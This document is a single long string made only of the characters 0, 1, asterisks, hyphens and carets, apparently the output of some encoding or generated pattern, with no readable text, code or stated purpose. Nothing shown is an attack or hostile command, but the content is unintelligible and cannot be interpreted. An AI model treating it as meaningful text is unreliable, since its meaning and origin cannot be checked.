00101********0010--*001********0010110-*001*01101101101101**01*******************11*1*0110110^110^10101101011*0-11*0110^1^1*01*1**1*01*1*^1*01*1**1*01*1*^10-11010^^1101*****00101*1^1011**01*010^1********11010101*00^1^1*1*1*-----1010--*^1*-**1*1^1*^11010110-00-11*1*^1********10-001*001*0101*1*1*0^1*00110^1**00--10-1*-11*0-*01*1*-----1010--1010101*-**1*1^1*^110^1101010-11*1*^1*11*0^1*1*1*0-*01^1*^11*-----1010-1^-101*-**1*1^1*11*^-11*0101*0011*******01010-*101******01**-1^1*001******01**-*01*001*11*******0-1011*101******1**01*-**1******1***1011**01*101********-01^-0-01*0101******00-101101^-0011****001***1011*0101*0011*011****011**001*1*0101******1**0110-01*001******1**011011011*001*11*******0-1011*101******1***^11**1******1****1**01*101********-01^-0^11*0101******00-101101^-011**01**1010--0101*00-10-11*------0-1^^1*00-**1*1^1*********1011*1*001*011**110^1**00--1*11*0-*01*1*------0--11011*00-**1*1^1*********10101101*001*-*01^1*101^10-11*^10-11010^^1101******0-^110-11*001*010^1*****001**01***00^1^1*1*1*------0--110101*0-**1*1^1*^1101*****00^1*-^-*001*010^110-010-11*01101*1*1*0^1*1*1^1101*01*1*0011*01*1*0^--0101********0010101101*00^------0-110110-*0-**1*1^1*-1*0-11*^1**110^1**00--^1^10-11*0-*01*1*------0--11*01*-**1*1^1*1*^1********1*1101*00^1*1*1*1*0-*01^1*1101*0-11*1011*001101*0^--0101*********-*1*00^------0--1*101*-**1*1^1*********-1^1*001*011**110^1**00--10101*0-11*0-*01*1*------0--1101101*-**1*1^1*^1101010101010-11*1*^1********-10101*001*0101*1*1*0-*01^1*0-1*-11*-10-11010^1*^1*****01**01****^10101*1*1*------0--1101011*-**1*1^1*0^1010-11*^1**1101*11****001**-1011*0101*110^1^1*01*1**1*01*1*01**0^--0101********00^1^1*00^------0-1^10-1*-**1*1^1*1*^1********1**1*001*0101*1*1*-1**110^1**00--110-*-11*0-*01*1*-----^--1101**0-**1*1^1*^1101******1**0110101**1*010^1*****01**0-10101*00^1^1*1*1*0-*01^1*010-00-11*0^--0101*********0-101*00^-----^--110101*00-**1*1^1**11010^10^-11*1*^1********0010^1*001*^1*1*1*0^1*101101*11********1**0101******11**11*101*001******11**0^-1*001*101********-01^-*011*0101******00-101101^-*1*******0^10-10-^1**1010--0101*10-10-11*-----^--11*11*0-**1*1^1**1101**********001*00^1*^-0-00-11*1*1*1*1*0^1*00110^1**00--1^-00-11*0-*01*1*-----^--10-11*0-**1*1^1*10-010-11*0-*01^1*01101******01^1*10101101******1*001*******00^1**1^1******0-*010101******01101*0-001*****00^1*0-0-1********10^11******1**110^1*****001011*001^11******011*011*01******0-*01011******0101*00^1^1*****01^1*101101******-01*00-001*****00^1*0011******00-01*--*********10101******101*001**1*****00-**101101*****001**0^-******1011*--******0101**-101******101*-00-*****0^1*00^11******-1**1*1*****0011**00-01*****001*1*010-******001**1*11*****00-01*00101011*****0101*00-*******0011*011*001******01**01^1******1**10-1******-*01011*1*****01101*01101*******11*00110^11*****00-*0110^1******101**^11*****001**00^101******1011*0^101******101*001^101*****001011*011*******0^1*00^1******101**011011******001***-*****00-*00-01******11011*110-******0011*0-0011*****00-1*01^1101*****00-*00101011*****001011**0011******01101*01^11*****001011*0101*1******1011***11*****01*1*11*******00101*00-0-******01**01011******11*0011*-******01**0-1*******1*-^1********010110-*****0011*00^1^1******1*00-*1******0-*10-011*****010101**-01******011*011*1********00^1011*****01011**110-*****0-01*-101******001**10-01******-*0--*****00^11**11******0-1**1*1******011*00-^1******1**101011******1011*0101011******0-**1011*****001**001*******01**0^1011******0101**-01********0011******************1**01011******11011*00101011*****001011*1010^1*****0-1*0-01011*****01^1*0010-1*****01101*0^-01*****0011*00^1*1*****00^1*110^11*****0101*00110-11******001*--******-**0^11******1011*01*101*****0011**001101*****00101*00-01101******101*10101*********0--******^1*11011011*****01**00-1011******-*01*01******0-*1*0101*****0^11*10^1******11011*01*011*****01101**011******010101**-01******101*11*11******101*010-******001101*110^11*****0-**-001******101*010-1******101**0110-*****0^1*0-1******0011***10-*****0101**0101011*****0^11*10-1******0^1*0--1******01**001011*****010101*01^-*****0-*001^1011******101*011*11*****00^1**10101*****0011*0010^11*****00-**1*001********00-001*****01^1*0-1******010-*-*******^11*11011011*****001011**-11******011*01^1******01101**11011******101*0010^1******001**0-*****001^1*110^11*****011011*01*11*****00^1*01011011*****001^1**10-********00-101******001*1^-1*****0-1*0-1^1*****001011*^11*******1**^^1******101*^-01*****0-1*0110101******-01*^1101*****00-*0010^101******011*-10-*****001101*^-11*****00101*0^^1*****001*1*00--*****0-**^1101*****011011*1011******00-1*010^11******-*00--******0101*0110101******1101*0-11******^1*01*0-*****001***1******001**001*01******01**-0-*****01101*00--*****00-01*1010-1******-*1*1101******1**^1011*****001101**11******011011*010^1*****0011011*01011******0011**01^1******1101*1101*******001*0-1101*****001101*010-011*****01101*00-^1******1*001*0101*****00101*00110^1*****01101*0101101******10101*1*1011*****01^1*-0101*****00^11*^-1******11*0010-11*****00101*001*11******011**1*1******^11*0-*1*****0-1*0110-1******011*0010101******1**0101^11*****011011*00110-*****0-01*--******00101*********10-*00-******01*1*0-1*******01*00-11******0^1*1101^1******1*00110101******01011*-01011*****011**001^1******11*001*1101*****0^11**10-******011*^11*******-**^11*****001**110-******11**-0-******11*00-011******1101**01011*****001011*0^-11*****01**001011******0-1*00-011*****00^11*0011011******0-*0--1******01*01010-1*****0-01*001*11*****00-**001******01*1*0-101******0011*110-11*****00-*0^1^1******01*01*11******01101*-101******0101*001101011*****0^11*-1******00-01**-1******0101*1**1********00-0-01*1*001*1*1**01*1^1*********0101*1*00^-01*1^1*001****01**0^110^--001101*1^1*001*******-1*10--010101*1^1*001****01**001**0--*101*1^1*001*******0-11010--01^1*1^1*001*******010101010--00^1*1^1*001****01*****0--01*1*1^1*001****01**0-010^--001101*01^1*1**11010^1*1***001**01*011*******01**1011**001011**001^1^1*********01010^1**00--101010110-01*-110^1010110-01*11**--------1^-*0-*011*0-01*--------010-1*0-*011*0^11*--------0010-1*-*0011*---------*01*-*011*001011*********-*00^-001**00---101*011*00---------0^1*-*011*0^110101*^-010^-11*^1*01*^1********10--*00^^1*00101*0-01*--------0010-1*-0011011*--------1*1101*-*011*001011010^11*1*^1*****01**00-011**^^1*********0-1*0^-001**00--101101*011*00--------^^11*-*011**011*0101*001101*********^1*********001********************00-001********00110-********001*101********0-1101*********01101********0^1*********001**********0101*0101*1*01**11*010-*1011**1****01**001**0--001101*01^1*********1***-001*1***001****11********010^101***01***1^1^1*********010101*00110^-1*11**--------0^-1*-*1011*-11*-----110--11*011*-*01*001^1*10101*-11*********^1*00-11*11*00-*00-----110--1^1011*-*01*001^1*1*^1**10-11*-*001*1*1101**011010-01*-*00-----110--11*-*-*01*001^1*1*1*-11*-----110--00110-*-*01*001^1*^1*0-11*--------0^-1*-*011*0-11*-----110--00--*-*01*001^1*^1101******101*010-101*00^1^^1********-00101*001*101*01*1*********10101*^-001**00---011**1*0-----10--101011**-*01*001^1*1101*0-11*0011*0-01*--------10110-*-00^1101*-^-11*1*^-101*101*001*1*-----10--11*11*00-*01*001^1*00-**********1*0^-001**00--101101**1*0-----10--101*01*0-*01*001^1*0^1*-11*0011*0^11*010101*1101*--------0^-1*-*^1*-11*-----10--10110101*0-*01*001^1*^11**********1*0^-001**00--1*11**1*0-----10---^11*0-*01*001^1*00101*-11*0011*011011*01010^-*00--------^10-*-00^1101******01^11*01101*001*010^11*0010-11*011*001*1*-----10--^1*01*-*01*001^1*^1101*****00110110-110^1*001*010^1*11010-11*^1*01*1*********0^1*110-***********1*00^-1101**********001*00^1*^-1**01*******1*10-10-^1**--------0^-1*-*0101*-11*-----10--110101101*-*01*001^1*1*^1********^1^1*001*001*01*1*********-1*0^-001**00--101011**1*0-----10--1101^11*-*01*001^1*0-1*0011*001011*010101*1101*--------0^-1*-*0011*-11*-----10--1*00-*-*01*001^1*11011**********1*00-1^^11010-01*^101^-*^1*******1*10-10-^1**-*00-----10--1*-11*-*01*001^1*1*^1**10-11*-*001*1*1101*011**0101**0110^-1*11**--------01^-*-00^1101*****001101^10^11**01*010^1********^1^1*001*11*001*1*--------10-**-*01*001^1*^11*-11*********^1*0^-001**00--1^11**1*0---------101*00-*01*001^1*-01*0011**011*--------10110-*-*001101011011*1*^1^-10-11*101*001*1*--------101*1*0-*01*001^1*^1101******--1101*11*001*010^^^^-11*011*001*1*********0^1*0-1^^101^-*^1*******1*10-10-^1**11**--------10110-*-00^11010^11*1*^-110110-11*101*001*1*--------1*-*0-*01*001^1*10-**********1*0^-001**00---101**1*0--------01*001*-*01*001^1*0011*0-11*0011*001101*********1010^1********11*001********-11011********0010101*****001****01*****001**01*1011*****01**001^1****************001**0110^1********01101*********001101101*****01**0^11***********11*****01**0010-01*****01**01*0101*****01**01^-*****001***01^1*****01**001010101**********11*********101******1***01011*********101101*****01**001010101*****01**00-11******1****01********00-101*****001**011011*********11011*101*1*1*001*1*001*001^1*1^1*-11*0101*01^1*001****01**0^110^--0^1*01^1*001*******010101010--*01*01^1*001****01**0-010^--0-*001^1*001*******0-11010--0011*001^1*001*******-1*10--0101*001^1*001****01*****0--001101*01^1*********1***-001*1***001**0-1101******1**10-11***001***1^1^1******0010101*11****001**0011011*0101*11*0011**01**-----^--0-11*00-00101*001^1*10101*-11*-----^---*1*0-00101*001^1*0011*0-11*--------01^-*-00^1101*****0010101^110-**0^1^^1*****01**0-001**0^^1*01*1*-----^--11*11*0-00101*001^1*^1101*****0010^101*0-1*001*010^10-1*1101*01*1*********1*1*^-001**00--^11*0-11*^1*0-----^--0--*0-00101*001^1*11011010^1*0-11*1*^^-*-*001*1*1011*0-01*--------00110-*-00^110101*0010-11*1*^-*010-11*011*001*1*-----^--1101^1*-00101*001^1*10-*-11*********^1*0^-001**00--101101*^1*0-----^--10110101*-00101*001^1**01*-11*1011*010-*0101**01*0---------10-*-001*^1*10^-11*-*001*1*-----^--001*11*-00101*001^1*^1101*****00-*1*01*1*00^1^^1********-10101*00^^1*01*1*********10101*^-001**00--^-*^1*0-----^--01*-*-00101*001^1*^1101*******-1^11011*001*010^1*11010-11*1101*01*1*1011*001011*0011*001101*--------0^-1*-**0^-11*-----^----11*-00101*001^1*0-1*-11*********^1*0^-001**00--1^11*^1*0-----110--1*1**-00101*001^1*^1101********01*0011*00^1*^110-^-11*0101*01*1*1011*011011*-----110--10^1*00-00101*001^1*^1101******^1010^1101**1*010^1*****01**001101101*001*001*01*1*--------^10-*-00^110^101*0-11*1*^1********10^101*001*11*001*1*-----110--010^1*0-00101*001^1*^1101********01*0011*00^1*^1********10110101*001*011*01*1*********10101*^-001**00--101011*^1*0-----110--*1011*0-00101*001^1*1011*0-11*1011*00-1*-----110--1^-*0-00101*001^1*11011*-11*--------0^-1*-001011*0-11*-----110--11*001*-00101*001^1*1*1*-11*********^1*0^-001**00--110-*^1*0-----110--1010^1*-00101*001^1*^1101*011*-11*1*^1********0-^1*00^-*001*1*1011*00101*0-11*--------0^-1*-001101*0-11*-----110--1*1101*-00101*001^1*1*^-110110-11*-*001*1*********0011*00-1^-**001*0--------0^-1*-*101*0-11*-----110--110^11*-00101*001^1*^1101******-*11010-1*001*010^1101^10-11*1101*01*1*********0^1*^-001**00--1^1*0-11*^1*0-----110---00-*-00101*001^1*^1*0-11*1011**-*--------1^-1*-*0-*-----110--*-11*-00101*001^1*01101*-11*********^1*0010-00110101*******001*0010^^^10-11*-11*-11*110101******110-*00101******01**10^101*001******01**^1*1*001*01*00110101******110-*00101*-0110-11*01*010-11*0101^1*1**1*******101010-10-^1**--------10110-*-00^1101010-*1*^1*01010-11*-*001*1*-----10--^-1*00-00101*001^1*^11010^10^-11*1*^1*****01**001010-*001*101*01*1*********0^1*^-001**00---011*^1*0-----10---10101*0-00101*001^1*-01*1011*0^11*1101*0^11010-01*^101^-*^1*******101010-10-^1**--------1^-1*-00-01*-----10--10^-*0-00101*001^1*^1101010110110-11*1*^1*-10-11*011*001*1*********-1*0^-001**00--1*11*^1*0-----10--10101*1*-00101*001^1*01011*-11*1011**11*0-11*010101*0101*--------0^-1*-*1011*-11*-----10----001*-00101*001^1*01101**********1*0^-001**00---01*0-11*^1*0-----10--11*1101*-00101*001^1*^1101*****001101^-0-1**^1^^1*****01***01011**^^1*01*1*1011**011*0101*010101*--------0^-1*-*^1*-11*-----10--11*1011*-00101*001^1*10-**********1*0^-001**00---101*^1*0-----10--101*-*-00101*001^1**11*1011*01101*0-11*--------01^-*-00^1101*****00^1*0-0-1*001*010^1*****01**001101**001*001*01*1*--------***00-00101*001^1*1*0^-11*********^1***01010101*011*00--------1^-1*-*0011*--------01101**-00101*001^1*1*^^-*-*001*1*********1101*0^-001**00--10101*0-11*^1*0--------110101*00-00101*001^1*10^^-11*1011*0^1*0-11*0011**011010-01**1*0--------0^-1*-0010^^-11*--------01*01*0-00101*001^1*1*^1*01010-11*011*001*1*********0011*0^-001**00--10-1*^1*0---------0101*0-00101*001^1*11011*1011*001101*********011011******11**1*1******01**010-001********110^11********0010-******1**--1********001*******001**^1011******1**1^1011*****01**010^-********1*101********0-01011*****001**00-1*********11011******01***0101*****001**0-1011********00101*******1**-00101********1010-1*********01101*****01**010^-*****001**00101101*****01**00-0-*****001**-001******1**0^-11*****011**11*1******1**01*11******1***1^11*****01**0010-1*******************-0^1********01^1******11**01011******01**0-01101*****001**11*-********--1*****001**00101*********0^^11********01^^101*10101*001*1*101*001^1*0-1*0011*01^1*001****01**001**0--01101*01^1*001*******-1*10--00101*01^1*001*******0-11010--0^1*01^1*001****01**0^110^--*01*01^1*001*******010101010--0-*001^1*001****01*****0--0011*001^1*001****01**0-010^--001101*01^1*********1***-001*1***001**00-101******01**11****0101***1^1^1*010101*101^^1**01*******1*0-110-^1********-010-1*-**001*******-010-10-^1**-----10--^^11*0-*011**001*-11*-----10--^11011*0-*011*01^1*-11*--------0010-1*-00-01*-----10--1010-1*0-*011*0^1101******^11*1*-*001*010^101010^-11*011*001*1*********1*1*^-001**00--101011*011*00-----10--^10^1*-*011**-*0101*0-01*--------01010-*-00^1101******-^10^^1*001*010^10^-0-11*-*001*1*-----10--110110101*-*011*00-1*********-*00^-001**00--101101*011*00-----10--110-101*-*011*0^1101******0-001010-01*001*010^1*****001**^1***1*11*001*1*0101*0^11*010101*0101*---------00-*-00^1101********001011011*00^1*^1********10-101*001*01*001*1*-----10--1*10-*-*011*011011*********-*00^-001**00--1*11*011*00-----10--1*-11*-*011*01011*0-11*0101**011*--------10110-*-00^11010^-10-11*1*^1*-00-11*101*001*1*---------1**0-*011*00-*0-11**********1*0--00^101^-*^1*******-010-10-^1**11**--------1^-1*-001011*0-11*--------001101*00-*011*00^1*-11**********1*0^-001**00---101*011*00--------10-1*00-*011*001101*0101*001011*010101*0101*--------10110-*-00^1101*010110-11*1*^101101^-11*001*001*1*--------1010101*0-*011*01*^1*****01**00-011**1*01*001*1*********0-*0--00^101^-*^1*******1*0-110-^1********-010-1*-**001*******-010-10-^1**001*00--------01^-*-00^110101^^1*****01**0^1^1*00^^1*01^^1*****01**0^1^1*00^^1*0--------*0^1*-*011**11*0-11**********1*0^-001**00--1^11*011*00--------1*0101*-*011*0-01*0101*001101******01**0011*1********0101*01********10110-********^1******001**0011011*********0010101********0^1101********0-01********00-01011*********10101****************1**01011**********^11*****001**001101*********10101011*********10101*****01**001101*********01*11*****001**00-11********001011011*********101*101*1*01**11*0^1*0-11*-*001^1*001*******-1*10--0011*001^1*001*******010101010--0101*001^1*001****01**0-010^--*1*001^1*001****01**001**0--01011**1****01**0^110^--001101*01^1*********1***-001*1***001**010-01*****001***-011***01***1^1^1*********010101*101****01**00110^-101^11*00-----^--00101011*-00101*001^1*10101*-11*-----^--10-011*-00101*001^1*^1101*****001^1011*011**01*010^1010-10-11*-*001*1*--------1^-1*-00-01*-----^--1010-1*-00101*001^1*1*^-0-10-11**1*01*1*********0011*0^-001**00--1^1*0-11*^1*0-----110--1101**0-00101*001^1*01011*1011*0-01*--------1^-1*-*1011*-----110--11011**-00101*001^1*^11010^11*-11*1*^1^11*0101*01*1*********0-*0^-001**00--101101*^1*0-----110--0^11*00-00101*001^1*-1*0-11*1011*001011*0011*001101*--------0-1101*-00^1101*-00--01*********10^1*00^-110101*^1*****01***10^1*001*01****01**001**0--01*^1*****01**01010^1*001*01****01**001**0--*****001**01010^1*001*01****01**001**0--********010101011*00^1*^1*****01**0^-01*001*001*01*1*-----110--010-1*0-00101*001^1*^1*0-11*********^1*0^-001**00--1^11*^1*0-----110--0011*1*-00101*001^1*^110^-*0-11*1*^1*****01**0101101**0^^1*01*1*1011*0^1*0-11*--------01010-*-001101101*011*1*^1*****01**00-01**0^^1*01*1*-----110--*01101*-00101*001^1**01*-11*********^1*00-1^-**001*0--------0^-1*-001^1*-11*-----110---*11*-00101*001^1*1011*0-11*********^1*0^-001**00--10-1*^1*0-----110--^11011*-00101*001^1*1*1*-11*1011*010-*0101****01**10110^-1011*1*******00-0-10-^1*******011011010-1*1*1**1*******011010-10-^1**011*00--------0^-1*-001*1*-11*-----10--101***-00101*001^1*^11**********1*0^-001**00--^-*^1*0-----10---001**-00101*001^1*00-*-11*1011*0^11*1101*0^11010-01*^101^-*^1*******011010-10-^1**--------0^-1*-*0-*-11*-----10--1*011*00-00101*001^1*^1101********001101101*00^1*^-011**1*01*1*********1*1*^-001**00--1*11*^1*0-----10--1010^1*0-00101*001^1*^1101******010^1^1***1*010^1*****01**0^11**001*11*001*1*1011*011011*-----10--11*011*0-00101*001^1*^1101*****00--01*01101*001*010^1*****01**01*0101*001*11*001*1*--------1^-1*-0011011*-----10--^-11*0-00101*001^1*01101*-11*********^1*0^-001**00--101011*^1*0-----10--10-*1*-00101*001^1*0-*0-11*1011**011*0101*00101****01**11010^1^-0--------0^-1*-*-*0-11*-----10--101^101*-00101*001^1*^1101*****00-01*0011011**1*010^1********1101^1*00^-*001*1*********10101*^-001**00---101*^1*0-----10--^1*11*-00101*001^1*0011*0-11*1011*00-1*0011**011010-01**1*0--------^10-*-00^1101**********011*00^1*^-00-0-11**1*01*1*-----10---*-*-00101*001^1*^1101********01^^1*00^1*^1********0110^1*001*001*01*1*********10101*^-001**00--110-*^1*0--------1***0-00101*001^1*^1101*******01*01^1**1*010^101011*-11*-*001*1*1011**-*--------0^-1*-*0101*-11*--------00-**-00101*001^1*01011*-11*********^1*0^-00110101******0010^1*101******11***11011*001******11**11010101*001*11*******00101011*10^^-*011*001^10-^101*00^-01**-10-11*001*******110110-10-^1*******011011010-1*1*1**1*******011010-10-^1**--------1^-1*-*0-*--------10-01*0-00101*001^1*^1101******010^-10101**1*010^1*****01**0101*11*001*11*001*1*********10101*^-001**00---011*^1*0--------110-1*0-00101*001^1*-01*1011*001101******01**00^-******1**1*1101*********0-******1**0110^1*******************-01******1**0-1*********00101*********00^1101*****01**0^-11*****001***0-*****001***110101*****01***^-*****001**1^101********0-0-1*****01**0101*11********1*0011********00110-*****01***-01******1**011*1******1**1*1101*****001**010-1*********1*01*****01**0110-******01**010-1*****001**00101*1*****01***^1******01***10101********01^-********10-*101*10101*001*1*101*001^1**11*-11*0101*01^1*001****01**0-010^--0^1*01^1*001****01**001**0--*01*01^1*001*******0-11010--0-*001^1*001*******-1*10--0011*001^1*001*******010101010--001101*01^1*********1***-001*1***001***-01*****0011**1*011****1**001^1^1******0010101*-^--01********01011*1*001**01101*^-0-00-11*001****01**001**0--*10^1********-00-*001*01*******010101010--********0-00-*001*01*******010101010--0^101^-*^1*******-010-10-^1**--------0101011*0-*011*001101*--------1*-*0-*011*01101101011011*1*^1********0-0011*001*01*001*1*--------0010-1*-*0011*---------*01*-*011*011011*********-*00^-001**00---101*011*00---------0^1*-*011*0^1101********01**1*00^1*^1*-00-11*001*001*1*0101*0-01*--------11010-*-00^1101010101010-11*1*^1*****01**01****^^1*0--------^-01*-*011*010-*********-*00^-001**00--101101*011*00--------^^11*-*011**011*0101*001101**********101*********001011*********0101********00^1*********01*101********0110-********001*101********01*011*******************^1*********00101*0101*1*01**11*0-01*001*001^1*001****01**0-010^--01011**1*******0-11010--001101*01^1*********1***-001*1*******1^1********001011011**00-***1^1^1****10101*101*******1010101*101*1101*011*00--------1^-1*-*0-*------0--110101*0-*101*01^1*0^1*-11*********^1**-1*11*001*1*-*001*1*------0--001011*0-*101*01^1**11*-11*-*001^1**1101010101*-*001*1*------0-11*-1*0-*101*01^1**10^-11*00-0010^10--101011*110-11010-11*-11*^1*********0--11*001*^10-1*110-11010-11*-11*-1101010-*^11010-01*^1*01*^-1*001*1*001*******1*10-10-^1**101*001*1*011*00--------01^-*-00^1101******0-0^110^1*001*010^1********0^1011*00^1101*01*1*------0--1101101*-*101*01^1*^1101******---110101*001*010^1**********01*00^1011*01*1*********10101*010-*001*0------0-110^1011*-*101*01^1*^1101******10^1*-011*001*010^-0^10-11*1011*01*1*001*001^1*^11010-01*001*001*1*101*001^1**11010-01*101*001*1*1011**011010-01*^1*0------0-1^10-1*-*101*01^1*^11*00-0010^1011*001^^101101*110-11010-11*-11*-1101010-*001*001*1*1*^1^11010-01*-*001*1*001*******1*10-10-^1**-1101011*110-11010-11*-11*^1*********0--11*001*^10-1*110-11010-11*-11*-1101010-*^11010-01*^1*01*^-1*001*1*001*******1*10-10-^1**101*001*1*011*00--------0^-1*-*1^^-11*-----^--110-*00-*101*01^1*^1101********0101*11*00^1*^1********010-11*001*011*01*1*********10101*--0011**^11010-01*-*001*1*-----^--0101101*0-*101*01^1*^1101******01101^1011**001*010^1*****01**00101*1*00^1101*01*1*-*001^1*^11010-01*001**11*001^1*11**-----^---0-*0-*101*01^1*00-*-11*101*001^1*-01*-----^--11*001*-*101*01^1*0-1****1**1101*00--1^11010-01*001**0-0011*^1^11010-01*001**01*******1*10-10-^1**01101*011*00--------01^-*-00^1101*****00-001101^11**01*010^1*****01***1101**0^1101*01*1*-----^--0^1101*-*101*01^1*-01**********1*0^-*001*0101*001^1*01101*001*001^1*10-*1011*0-01*-----^--*^11*-*101*01^1*^110101^^1*********01101*001*-*01*1*1^^1*********01101*001*-*01*1*0011*0-01*--------01^-*-00^1101*****001*1010-01**00^1^^1********-00-*001*-*01*1*-----^--1010-1*-*101*01^1*-00^-11*********^1***010^1*0-11*-*00-----110--011**00-*101*01^1*00101*-11*-----110---1**0-*101*01^1*1*^--110-11*1*1*1*1*--------0^-1*-*101*0-11*-----110--01*1*00-*101*01^1*1*^1*****01**00-011**1*011*01*1*********-1*0^-001**00--10-1**1*01*1*-----110--110-*00-*101*01^1*10^^-11**1*01^1*-01*--------0^-1*-0010^^-11*-----110--0-001*0-*101*01^1*01011*-11*********^1*0^-001**00--101101**1*01*1*-----110--1*011*0-*101*01^1*1*0^-11**1*01^1*10-*010101*10101^1101*--------01010-*-00^1101*****00101*1101010-*00^1^^-011*0-*01*1*-----110----1*0-*101*01^1*1*^^101*-11*-1*01*1*********0011*0^-001**00--^-**1*01*1*-----110--1010^1*-*101*01^1*^1101*00-0-11*1*^101011*-11**01*1*1**1*01^1*^11*0101*01*******001*0^1011*10-1*--------0^-1*-*1101*-11*-----110--10101101*-*101*01^1*-11*-11*********^1*0^-001**00--1*11**1*01*1*-----110--*^11*-*101*01^1*1011*0-11**1*01^1*0-1*010101*11*********11*101******01**-^11*001******01**010^11*001*1101*011*00-----110--01^-*-*101*01^1*^10^-11*00-0010^10--1010--10-11*1*^-**001*******1*10-10-^1**01101*011*00--------0^-1*-*011*0-11*-----10--1101**00-*101*01^1*10-**********1***010-01*-*00--------0^-1*-001011*0-11*-----10---011**-*101*01^1*^1101*****00-10-11011**001*010^^1*10-11*1011*01*1*********0^1*^-001**00--110-**1*01*1*-----10---1011*00-*101*01^1*0-1*-11**1*01^1*01011*1101*0^1101011**001*00--------^10-*-00^1101******0-**0-**^1^^1^10^-11*0-*01*1*-----10---10101*0-*101*01^1*^1101*****00-1^11*101**1*010^1*****01**001***00^1101*01*1*********10101*^-001**00--1^11**1*01*1*-----10--10110-*0-*101*01^1*^11*-11**1*01^1*11011*0011*001101*---------10-*-001*^-0-10-11*-1*01*1*-----10--10-*1*-*101*01^1*01011**********1*0^-001**00--101011**1*01*1*-----10--1*00101*-*101*01^1*^1101******-11*101101**^1^^1*****01**01101011**1*-*01*1**1*01^1*00-*--------01^-*-00^1101*****00101*00-1***1*010^1*****01**00-11**0^1101*01*1*-----10---0^11*-*101*01^1**00^-11*********^1*0^-**01^1**0--1^1*0-11*-*001**00--101101*-*00--------0^-1*-0010101*-11*-----10--101010-*-*101*01^1*^1101******00^10-^11*001*010^-001*-11*1011*01*1*********0^1*^-001**00---011**1*01*1*--------011**00-*101*01^1*^1101*010110-11*1*^10-0110-11*0011*01*1**1*01^1**11****1**1101*00--1*11010-01*001*00--------01^-*-00^1101*****00--00101*01*001*010^1********00-001*00^1101*01*1*--------0^11*00-*101*01^1*10-*-11*********^1*0^-001**00---101**1*01*1*--------101*1*0-*101*01^1*0101*0-11**1*01^1*01101******01**01101011*****0011**^11011*****001**-1011*****0011**--1******1**01101*****************1**010-11********00-011*****001***00-1********^1^1*****01**011*101*****01**001011*********0^11******01**01011011*****01**001010101*****001**0101*********011011011*****011***10-********11011011*****01***-101********1*1101********0011******001**010-1******001*********001**00101*********0110^1*****0011**10110101*****01**01*0-*****01**0^1*1*****001**110^1*****001***^-*****001**01*01********0101^11*****001**0-0011*****01**01^101******1**-0-1*****011**10-*********101^11*****011**10-01******1**011011******01**0^1101*****001**^1*1********01010^101*^101*01*1*0101*01^1*00^^-11*1*1*1^1*001****01*****0--*001*1^1*001****01**0-010^--0-1*01^1*001*******0-11010--00-*01^1*001****01**0^110^--01011*01^1*001*******-1*10--*11*01^1*001****01**001**0--01101*01^1*001*******010101010--001101*01^1*********1***-001*1***001**01101101******01*001^-1**00-***1^1^1*********010101*11*00--------01010-*-0011011010^11*1*^1*****01**0-***0^1101*01*1*-----10--1*11**-00101*001^1**01*-11*********^1*00-1^-**001*0-----10--1*101*00-00101*001^1*^1101*****0011010-00-001*001*010^10-1010-11*^1*01*1*0011**011010-01**1*0-----10--10-11*00-00101*001^1*^1101*********-101*00^1*^1********011*11*00^-*001*1*0101***1^-01101*^1*1101*01*011**001*******1*10-10-^1**01*11010-00--0^1011*^110101*^1********00-101*001*01****01**0-010^--01^^1********10^-*001*01****01**0^110^--********010^-*001*01****01**0^110^--00-1*011*00-----10---1*01*-00101*001^1*^1101******001101*011011*00^1^^1********11010-*001*101*01*1*0011*001101*1101*0^11010-01*001**101*0010101^1101*-----10--110^101*-00101*001^1*1101*0-11*-----10--10-0101*-00101*001^1*-01*--------0^-1*-00-1*0-11*-----10--110-101*-00101*001^1*^1101*****0011*0010-101**1*010^1*****01**0-1*1*001*11*001*1*********10101*^-001**00--1^11*^1*0-----10---011011*-00101*001^1*^1101*****0010101^1010-1*001*010^10-1*-11*^1*01*1*1011*0-01*--------1^-1*-*-1*-----10--11010-1*-00101*001^1*^1101*****001^110-00-**1*010^1101^10-11*011*001*1*********0^1*^-001**00--101101*^1*0--------*01**-00101*001^1*^1101********01011*1*00^1*^--010-11**1*01*1*1011**011*--------^10-*-00^1101*****00110^-10-1**1*010^^110^-11*011*001*1*--------001011*00-00101*001^1*^1101*********-011*00^1*^-001010-11*-*001*1*********0^1*^-**01101**00--101101*001**1**0--10-1*001*00--------1^-1*-*0-*--------0101101*0-00101*001^1*^11**********1*0^-001**00---101*^1*0--------1101011*0-00101*001^1*0011*0-11*1011*0^11*010101*10101^1101*--------0^-1*-*011*0-11*--------**01*-00101*001^1*1011*0-11*********^1*0^-001**00--1*11*^1*0--------0^^1*-00101*001^1*^1101*****00^1**10-1*001*010^1*****01**001101**001*11*001*1*1011*001101*********-01*********1^-1********0-0011*****01****101********110-11*****01**01**1*********011*********-11********00-01*********1^-1*****01**01101011********00-0011********010-01********^1^1********101*01******************001010101*****001**001*1******1***1*********001^11*********0101*101*10101*001*1*101*001^1*01011*1101*01^1*001*******0-11010--00101*01^1*001****01**0^110^--0^1*01^1*001*******-1*10--*01*01^1*001****01**001**0--0-*001^1*001****01**0-010^--0011*001^1*001*******010101010--001101*01^1*********1***-001*1***001**00101101******1**101101****01**001^1^1*1*******0010101*********1011******001**010-001*****01**00-*********0-1*1*****************************01*001*****001**0-011*********--********0^-01********01********101^1*001******10101*001**************************************************************00101*00101*1*001*1*1**01*1^1**11***********0010-01^11*0011****011**0^1101*10^11**01^1********001011*010-01^11*0011***************************************************************101*00101*^-*01*1*0-*01^1*01101*00-0110101******001^^-110110-*00--------1^-1*-00^11*---------^11*-*011*01^1*-01**********1*0^-00-**********1011*********00101*********01011*********01011********************0101*******************00-*00101*1*11*01*1*0011*01^1**11*********1*001010-01101^^110101******00101101*101******1**0-1011**1******1**0^1011**1*11****001**1101^1*101******11**-00-*001******11***01011*00^110101******0^1101*101******11**11*011*001******11**0^^1*00^-**1101*011*00-*00--------00-101*-*101*01^1*-01*0101*01*******001*0^1011*^101011*110^1010110-01*^110^1010110-01*110101******0^1101*101******1***^101*001******1**01010-1*00^-*********00-0101*******************10^1********0010^1********0010^1*******************0011*00101*^101*01*1*0101*01^1*01101*1101*00101******001^-01^-0^11*-01*^11*11**0101**101******************************001*******************************0101*00101*1*01*01*1**1*01^1*01101*--------01*001*-00101*001^1*11011**********1**0-00--------1^-1*-*0011*--------1010^1*-00101*001^1*1*^11*-0-11*011*001*1*********0011*0^-001**00---101*^1*0--------01010101*-00101*001^1*01011*1011*0-01*--------1^-1*-*1011*--------010-01*-00101*001^1*10-**********1*0^-001**00--101101*^1*0--------110^11*-00101*001^1**11*1011*001101*********1*01********001*01********00110101*********101*********